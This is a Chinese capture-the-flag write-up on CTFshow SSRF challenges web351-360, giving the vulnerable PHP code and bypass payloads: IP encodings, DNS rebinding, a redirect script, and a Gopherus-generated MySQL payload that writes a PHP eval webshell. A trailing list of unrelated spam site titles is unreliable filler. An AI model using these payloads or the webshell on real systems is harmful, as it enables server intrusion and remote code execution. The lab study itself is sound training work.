当前位置: 首页 > wzjs >正文

临沂网站制作哪家好长沙网站建设规划

临沂网站制作哪家好,长沙网站建设规划,购物网站开发简介,网站建设实训心得体会CTFSHOW-SSRF篇 - LinkPoc - 博客园 CTFshow刷题日记-WEB-SSRF&#xff08;web351-360&#xff09;SSRF总结_ctf ssrf题型总结-CSDN博客 ctfshow web入门 SSRF(超详解)-CSDN博客 从0到1完全掌握 SSRF - FreeBuf网络安全行业门户 web351-无过滤 <?php error_reporting(…

CTFSHOW-SSRF篇 - LinkPoc - 博客园

CTFshow刷题日记-WEB-SSRF(web351-360)SSRF总结_ctf ssrf题型总结-CSDN博客

ctfshow web入门 SSRF(超详解)-CSDN博客

从0到1完全掌握 SSRF - FreeBuf网络安全行业门户

web351-无过滤

<?php
error_reporting(0); // 关闭错误报告,避免显示错误信息
highlight_file(__FILE__); // 高亮显示当前文件的源代码$url = $_POST['url']; // 获取通过POST方法提交的'url'参数值
$ch = curl_init($url); // 初始化cURL会话,使用用户提供的URLcurl_setopt($ch, CURLOPT_HEADER, 0); // 设置选项:不包含HTTP头信息在输出中
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); // 设置选项:将cURL的输出返回为字符串,而不是直接输出$result = curl_exec($ch); // 执行cURL会话,并将结果存储在$result变量中
curl_close($ch); // 关闭cURL会话,释放资源echo ($result); // 输出cURL请求的结果,即将获取的网页内容显示在页面上

直接访问不行,就以本地用户去探测内网下的flag.php 

url=http://127.0.0.1/flag.php

web352 -无过滤

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{die('hacker');
}
}
else{die('hacker');
}
?>

这题看似多了一个过滤,但是没有过滤句中没有变量,所以相当于没有过滤,直接打paylaod

url=http://127.0.0.1/flag.php
url=http://localhost/flag.php

web353-过滤localhost,127.0.0.1与。

<?php
error_reporting(0); // 关闭错误报告,避免显示错误信息
highlight_file(__FILE__); // 高亮显示当前文件的源代码$url = $_POST['url']; // 获取通过POST方法提交的'url'参数值
$x = parse_url($url); // 使用parse_url函数解析URL,返回一个关联数组,包含URL的各个部分// 检查解析后的URL的协议是否为http或https
if ($x['scheme'] === 'http' || $x['scheme'] === 'https') {// 使用正则表达式检查URL是否包含localhost、127.0.0.1或中文句号if (!preg_match('/localhost|127\.0\.0\.|\.|。/i', $url)) {$ch = curl_init($url); // 初始化cURL会话,使用用户提供的URLcurl_setopt($ch, CURLOPT_HEADER, 0); // 设置选项:不包含HTTP头信息在输出中curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); // 设置选项:将cURL的输出返回为字符串,而不是直接输出$result = curl_exec($ch); // 执行cURL会话,并将结果存储在$result变量中curl_close($ch); // 关闭cURL会话,释放资源echo ($result); // 输出cURL请求的结果,即将获取的网页内容显示在页面上} else {die('hacker'); // 如果URL包含localhost、127.0.0.1或中文句号,输出'hacker'并终止脚本}
} else {die('hacker'); // 如果URL的协议不是http或https,输出'hacker'并终止脚本
}

本来可以用。绕过127.0.0.1,但是被禁用了,所以只能利用进制绕过了

127.0.0.1
十进制整数:url=http://2130706433/flag.php
十六进制:url=http://0x7F.0.0.1/flag.php
八进制:url=http://0177.0.0.1/flag.php
十六进制整数:url=http://0x7F000001/flag.php
缺省模式:127.0.0.1写成127.1
CIDR:url=http://127.127.127.127/flag.php
url=http://0/flag.php
url=http://0.0.0.0/flag.php
url=http://127.1/flag.php
url=http://127.0000000000000.001/flag.php

web354-过滤localhost,1,0,句号

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|1|0|。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{die('hacker');
}
}
else{die('hacker');
}
?>

直接拿一些解析到127.0.0.1的域名 

http://safe.taobao.com/
http://114.taobao.com/
http://wifi.aliyun.com/
http://imis.qq.com/
http://localhost.sec.qq.com/
http://ecd.tencent.com/

一些公共 http 域名,但是解析到 127.0.0.1_可以被解析为127.0.0.1的域名-CSDN博客

web355-限制host长度小于5

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=5)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{die('hacker');
}
}
else{die('hacker');
}
?> hacker

了解一下parse_url函数:

CTFshow刷题日记-WEB-SSRF(web351-360)SSRF总结_ctf ssrf题型总结-CSDN博客

解析一个 URL 并返回一个关联数组,包含在 URL 中出现的各种组成部分
数组中可能的键有以下几种:
scheme - 如 http
host
port
user
pass
path
query - 在问号 ? 之后
fragment - 在散列符号 # 之后# 例:
<?php
$url = 'http://username:password@hostname/path?arg=value#anchor';
print_r(parse_url($url));
echo parse_url($url, PHP_URL_PATH);
?>    
# 输出
Array
([scheme] => http[host] => hostname[user] => username[pass] => password[path] => /path[query] => arg=value[fragment] => anchor
)
/path

这题也比较简单

url=http://127.1/flag.php
url=http://0/flag.php

web356-限制host小于3

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=3)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{die('hacker');
}
}
else{die('hacker');
}
?>
url=http://0/flag.php

注意0在linux系统中会解析成127.0.0.1,而在windows中会解析成0.0.0.0

web357

<?php
error_reporting(0); // 关闭错误报告,避免显示错误信息
highlight_file(__FILE__); // 高亮显示当前文件的源代码$url = $_POST['url']; // 获取通过POST方法提交的'url'参数值
$x = parse_url($url); // 使用parse_url函数解析URL,返回一个关联数组,包含URL的各个部分// 检查解析后的URL的协议是否为http或https
if ($x['scheme'] === 'http' || $x['scheme'] === 'https') {$ip = gethostbyname($x['host']); // 获取URL中主机名对应的IP地址echo '</br>'.$ip.'</br>'; // 输出获取到的IP地址// 验证IP地址是否有效,并且不在私有或保留范围内if (!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {die('ip!'); // 如果IP地址无效或在私有/保留范围内,输出'ip!'并终止脚本}echo file_get_contents($_POST['url']); // 使用file_get_contents函数获取并输出URL的内容
} else {die('scheme'); // 如果URL的协议不是http或https,输出'scheme'并终止脚本
}

从0到1完全掌握 SSRF - FreeBuf网络安全行业门户

这题有2个解法,第一个是利用dns重绑定,第二个是利用自己的vps 。具体可看下面的文章。

解法一:dns重绑定

CTFshow刷题日记-WEB-SSRF(web351-360)SSRF总结_ctf ssrf题型总结-CSDN博客

CEYE - Monitor service for security testing

url=http://r.你cyc的标识符.ceye.io/flag.php

 

(如果不行,就在hackbar多execute几次,因为可能第一次解析的是127.0.0.1然后通过不了过滤,多试几次就好了) 

解法二-用自己的vps

自己vps上写一个ssrf.php

<?php
header("Location:http://127.0.0.1/flag.php");
?>

然后post传,网站就是你自服务器的网址

url=http://xx.xx.xx/ssrf.php

 注意,ssrf.php需要在根目录,二就是要加上端口。

web358-正则匹配

<?php
error_reporting(0); // 关闭错误报告,避免显示错误信息
highlight_file(__FILE__); // 高亮显示当前文件的源代码$url = $_POST['url']; // 获取通过POST方法提交的'url'参数值// 使用正则表达式检查URL是否以"http://ctf."开头,并以"show"结尾
if (preg_match('/^http:\/\/ctf\..*show$/i', $url)) {// 如果匹配成功,使用file_get_contents函数获取并输出URL的内容echo file_get_contents($url);
} else {// 如果不匹配,终止脚本并输出'scheme'die('scheme');
}
payload:
url=http://ctf.@127.0.0.1/flag.php#show
url=http://ctf.@127.0.0.1/flag.php?show

这里也可以很好的体现parse_url函数

<?php
$url = 'http://ctf.@127.0.0.1/flag.php?show';
$x = parse_url($url);
var_dump($x);
?>//运行结果:
array(5) {["scheme"]=>string(4) "http"["host"]=>string(9) "127.0.0.1"["user"]=>string(4) "ctf."["path"]=>string(9) "/flag.php"["query"]=>string(4) "show"
}


web359-gopher协议打mysql

提示无密码打mysql,试试发现returl发现ssrf,并跳转到check.php文件

python2 gopherus.py --exploit mysql
select "<?php @eval($_POST['cmd']);?>" into outfile '/var/www/html/aa.php';

_后面再经过一次url编码 

%25a3%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%254c%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2522%253c%253f%2570%2568%2570%2520%2540%2565%2576%2561%256c%2528%2524%255f%2550%254f%2553%2554%255b%2527%2563%256d%2564%2527%255d%2529%253b%253f%253e%2522%2520%2569%256e%2574%256f%2520%256f%2575%2574%2566%2569%256c%2565%2520%2527%252f%2576%2561%2572%252f%2577%2577%2577%252f%2568%2574%256d%256c%252f%2561%2561%252e%2570%2568%2570%2527%253b%2501%2500%2500%2500%2501

 然后post传参

 

 之后蚁剑连接就好

360-gopher协议打redis

题目提示打redis

跟上题差不多。 但是post上传协议一下就把环境干废了。

http://www.dtcms.com/wzjs/577259.html

相关文章:

  • 旅行社网站建设规划的内容能挣钱的游戏排行榜前十名
  • 自己做外贸开通什么网站品牌定位的三要素
  • 岗厦网站建设什么是同ip网站
  • 国内免费商用图片的网站长沙服务专业的建网站
  • 网站点赞怎么做的安阳信息网官网
  • 迅雷黄冈网站推广软件成都设计公司招聘
  • 印尼做网站的教学 中文销售的技巧与口才
  • 安阳网站建设优化渠道软件开发案例
  • 怎么把自己做的网页上传网站wordpress公众号
  • 网站改版方案模板wordpress折叠
  • 创业项目的网站wordpress+留言本
  • 网站开发公司可行报告基础展示营销型型网站
  • 织梦做网站简单吗一个静态网站开发考虑什么
  • 网站开发php怎么样网站建设与管理教学视频
  • 建设部网站信息系统客栈网站建设
  • 欧美一级a做爰片免费网站自学套模板做网站
  • 移动电商网站设计豫icp郑州网站建设
  • 网站一个一个关键词做大学生建设什么网站好
  • 做外贸经常用的网站唐朝网站的地址
  • 成都网站建设公司好做吗网站建设流程包括哪些环节
  • 免费 网站点击1688阿里巴巴官网首页
  • 织梦cms如何搭建网站建筑招标信息网官网
  • 网站设计专业公司价格信息分类平台
  • 网站核验单下载wordpress 图片多
  • 义乌网站建设和制作浙江平板网站建设
  • 实搜石家庄网站建设小程序做小型企业网站多少钱
  • 网站建设公司海外赣州公司做网站
  • 绵阳科技网站建设磐安县建设局网站
  • 建网站相关知识购买域名是什么意思
  • 乐都区公司网站建设最近免费高清版电影在线观看